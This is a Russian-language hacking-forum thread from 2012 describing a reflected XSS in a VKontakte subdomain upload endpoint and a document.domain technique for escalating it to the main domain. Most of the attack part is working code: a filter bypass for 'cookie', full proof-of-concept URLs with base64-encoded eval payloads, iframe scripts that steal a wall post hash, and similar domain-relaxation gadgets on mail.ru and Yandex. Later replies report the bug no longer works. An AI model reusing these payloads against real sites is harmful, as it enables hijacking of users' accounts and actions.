Авторские статьи XSS на поддоменах. Новый метод использования.

Discussion in 'Статьи' started by M_script, 9 Jan 2012.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Всем известно, что XSS на сайте позволяет выполнять любые запросы и получать любые страницы сайта от имени авторизованного пользователя. То есть, дает практически неограниченный контроль над действиями пользователя. Этот контроль ограничивается только доменом, на котором расположен уязвимый скрипт.
    Если все действия пользователь выполняет на домене mail.site.com или site.com, а XSS находится на news.site.com, единственный вариант доступа к данным пользователя - получить его куки и использовать сессию на своем компьютере.
    Но сессия может быть привязана к IP, куки недоступны для JS (httpOnly) или просто не устанавливаться на уязвимом поддомене.
    Никакой практической пользы от таких XSS нет... или все таки есть? ;)

    Ниже пример такой бесполезной XSS на cs*.vkontakte.ru. Сессия ВК привязана к IP, а вся информация пользователей находится на основном домене vkontakte.ru
     
    #1 M_script, 9 Jan 2012
    Last edited: 9 Jan 2012
    1 person likes this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    cs*.vkontakte.ru/cs*.vk.vom

    При отправке ссылки на видео youtube на стену, ВК парсит инфу об этом видео и выводит его на стену вместо отправляемой ссылки.
    Для примера возьмем ролик http://www.youtube.com/watch?v=AW4u7mGMNcg (первый попавшийся)

    Если вставить ссылку в сообщение и нажать кнопку "отправить", выполнится POST-запрос:
    http://cs[N].vkontakte.ru/upload.php
    act=parse_share&from_host=vkontakte.ru&mid=[СВОЙ_ID]&hash=[ХЭШ1]&rhash=[ХЭШ2]&url=[ССЫЛКА_НА_РОЛИК]


    Ответ:
    HTML:
    <script type="text/javascript">
      document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
      parent.onParseDone({
        title: 'Порно? ВКонтакте! / Need Porn? Use Russian Facebook!',
        description: "Комментируйте, голосуйте, добавляйте в избранное, рассылайте друзьям :) Большое спасибо за помощь в распространении нас :)\n\nWE LOVE OUR AMERICAN AUDIENCE, SUBSCRIBE, WE WILL BE ADDING ENGLISH SUBTITLES TO FUTURE VIDEOS FOR YOUR ENJOYMENT :)\n\nОбсуждение в нашей группе ВКонтакте:\n?http://vkontakte.ru/club382321?\n\nПроизводство студии My Duck's Vision\nСайт студии: ?http://mdvision.ru?",
        images: ['http://img.youtube.com/vi/AW4u7mGMNcg/0.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/2.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/3.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/3.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/2.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/0.jpg'],
        url: 'http://www.youtube.com/watch?v=AW4u7mGMNcg',
        domain: 'www.youtube.com',
        extra: 21,
        extraData: 'AW4u7mGMNcg:204'
        
      });
    </script>
    Параметр url возвращается в ответе. Кавычки экранируются, поэтому за пределы строки выйти не получится. Остается единственный вариант - закрывающий тег script, который даже внутри строки прерывает выполнение JS-кода.

    Как оказалось, хэши для защиты от CSRF и XSS в этом запросе не проверяются. Параметры from_host, mid, hash и rhash необязательны. Отправлять можно GET-ом.

    url=http://google.com/</>
    HTML:
    <script type="text/javascript">
      document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
      parent.onParseFail();
    </script>
    Страница не существует (404)


    url=http://google.com/?</>
    HTML:
    url: 'http://www.google.com/?%3C/%3E=',
    Редирект. url берется из location (302)


    url=http://www.google.com/?=</>
    HTML:
    url: 'http://www.google.com/?=</>',
    Страница существует (200)


    Пассивка найдена, но при попытке отправить в запросе
    url=http://www.google.com/?=<img src=x onerror=alert(document.cookie)>
    оказывается, что фильтруется слово "cookie".
    Обходится этот фильтр просто:
    PHP:
    <img src=x onerror=c=/coo/.source;c+=/kie/.source;alert(document[c])>
    XSS:
    http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=</script><img+src=x+onerror=c=/coo/.source;c%2B=/kie/.source;alert(document[c])>


    p.s.: взято из темы в MoA (04.11.11), работает до сих пор.

    upd:
    "vkontakte.ru/vk.com XSS" - https://forum.antichat.ru/showthread.php?t=301195
     
    #2 M_script, 9 Jan 2012
    Last edited: 23 Sep 2012
    3 people like this.
  3. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    1) Чтение страниц с другого домена.
    Обмен данными между страницей и фреймом возможен только если они находятся на одном домене.
    Домен хранится в свойстве document.domain. Политика безопасности позволяет изменить это свойство только на текущий домен или наддомен.
    Например, на сайте news.site.com мы можем установить document.domain='site.com' и обратно document.domain='news.site.com'.
    Есть еще одна проблема. Для обмена данными необходимо, чтобы обе страницы присвоили одинаковое имя домена свойству document.domain, даже если одна из страниц расположена на нужном домене.
    То есть, с news.site.com можно прочитать страницу, находящуюся на site.com или на mail.site.com, если на этой странице свойству document.domain присвоено значение 'site.com'

    Пример. Получение хеша для отправки сообщения на стену:
    PHP:
    <script>
    document.domain 'vkontakte.ru';
    function 
    getHash()
    {
        var 
    page '';
        for(
    i in document.frames[0].document.scripts)
            
    page += (document.frames[0].document.scripts[i].innerText);
        
    alert(/\\\"post_hash\\\":\\\"(.+?)\\\"/.exec(page));
    }
    </script>
    <iframe onload="
    getHash()" src="http://vkontakte.ru/al_profile.php?__query=id123456&al=-1"></iframe>
    2) Перевод XSS на другой домен
    Чтение некоторых страниц сайта - лучше, чем ничего, но хотелось бы большего.
    Посмотрим на страницу http://vkontakte.ru/al_profile.php?al=-1
    HTML:
    var locDomain = location.host.toString().match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
    if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) {
      document.domain = locDomain;
    }
    
    Этот код позволяет обмениваться данными с любым поддоменом vkontakte.ru

    HTML:
    parent.ajax._framedone('1234<!><!>0<!>5678', [1,"\/username",1]);
    Обращение к функции объекта родительского окна

    Выполнения этих двух условий достаточно, для изменения домена XSS на другой домен того же уровня или наддомен.

    Пример:
    PHP:
    <script>
    function 
    a()
    {
        
    alert('good'); // код внутри функции a() выполняется на домене vkontakte.ru
    }
    document.domain 'vkontakte.ru';
    var 
    ajax = new Object();
    ajax._framedone a;
    </script>
    <iframe src=http://vkontakte.ru/al_profile.php?al=-1></iframe>
    PoC:
    XSS на поддомене cs4567
    http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=</script><img+src=x+onerror=alert(document.domain)>

    Та же XSS, но выполняется уже на самом vkontakte.ru (пробелы убрать)
    http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=</script><img+src=x+onerror=eval(atob(id))+id=ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmRvbWFpbil9ZG9jdW1lbnQuZG9tYWluPSd2a29udGFrdGUucnUnO2FqYXg9bmV3IE9iamVjdCgpO2FqYXguX2ZyYW1lZG9uZT1hO2lmcj1jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpZnIuc3JjPScvL3Zrb250YWt0ZS5ydS9hbF9wcm9maWxlLnBocD9hbD0tMSc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChpZnIpOw==>
     
    #3 M_script, 9 Jan 2012
    Last edited: 9 Jan 2012
    5 people like this.
  4. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Дополнение к пункту 2
    Единственным необходимым условием является присвоением свойству document.domain значения 'site.com'. Вызов функций объекта parent необязателен:
    PHP:
    <script>
    document.domain 'vkontakte.ru';
    function 
    newDomain()
    {
        
    alert('good'); // код внутри функции newDomain() выполняется на домене vkontakte.ru 
    }
    function 
    changeDomain()
    {
        
    document.frames[0].document.body.innerHTML '<img src=a onerror=parent.newDomain()>';
    }
    </script>
    <iframe onload=changeDomain() src=http://vkontakte.ru/al_profile.php?al=-1></iframe> 
    Пример (пробелы убрать):
    http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=</script><img+src=x+onerror=eval(atob(id))+id=ZG9jdW1lbnQuZG9tYWluPSd2a29udGFrdGUucnUnO2lmcj1jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpZnIub25sb2FkPWZ1bmN0aW9uKCl7ZG9jdW1lbnQuZnJhbWVzWzBdLmRvY3VtZW50LmJvZHkuaW5uZXJIVE1MPSc8aW1nIHNyYz1hIG9uZXJyb3I9ImFsZXJ0KGRvY3VtZW50LmRvbWFpbikiPic7fTtpZnIuc3JjPScvL3Zrb250YWt0ZS5ydS9hbF9wcm9maWxlLnBocD9hbD0tMSc7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpZnIpOw==>​


    [offtop]
    Несколько строк кода на страницах my.mail.ru позволяют работать с этой соц.сетью через XSS любых поддоменов мейлру
    PHP:
    try{
        var 
    matches document.location.hostname.match('[^.]*?\.[^.]*?$');
        if (
    matches) {
            
    window.dDomain document.domain matches[0];
        }
    } catch(
    e){};
    [/offtop]

    upd:
    http://www.yandex.ru/i-social__closer.html#ddom=yandex.ru
    https://passport.yandex.ru/i-social__closer.html#ddom=yandex.ru
    PHP:
    location.hash.substr(1).split('&');

    for (var 
    0q.lengthli++) {
        var 
    q[i].split('=');
        
    params[decodeURIComponent(p[0])] = decodeURIComponent(p[1]);
    }
    if (
    params['ddom']) {
        
    document.domain params['ddom'];
    }
     
    #4 M_script, 1 Feb 2012
    Last edited: 1 Oct 2012
    3 people like this.
  5. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Перенесите в паблик (https://forum.antichat.ru/forum31.html)
     
    1 person likes this.
  6. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    красаучек
     
  7. GoodGoogle

    GoodGoogle Moderator

    Joined:
    5 Aug 2011
    Messages:
    1,160
    Likes Received:
    366
    Reputations:
    226
    Почитал, познавательно спасибо.
     
    1 person likes this.
  8. Duskly

    Duskly Banned

    Joined:
    5 Jan 2012
    Messages:
    68
    Likes Received:
    2
    Reputations:
    -5
    работает еще?
     
  9. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Где то я уже видел это, кстати на ачате...
     
  10. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Не работает (https://forum.antichat.ru/showthread.php?t=301195)

    Я искал, ничего не нашел.


    p.s.: если кто-то увидит подобную тему, напишите ссылку.
     
  11. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Не в паблике помоему.
    Бузи, случайно не раскрывал эту тему?
     
    #11 De-visible, 26 Sep 2012
    Last edited: 26 Sep 2012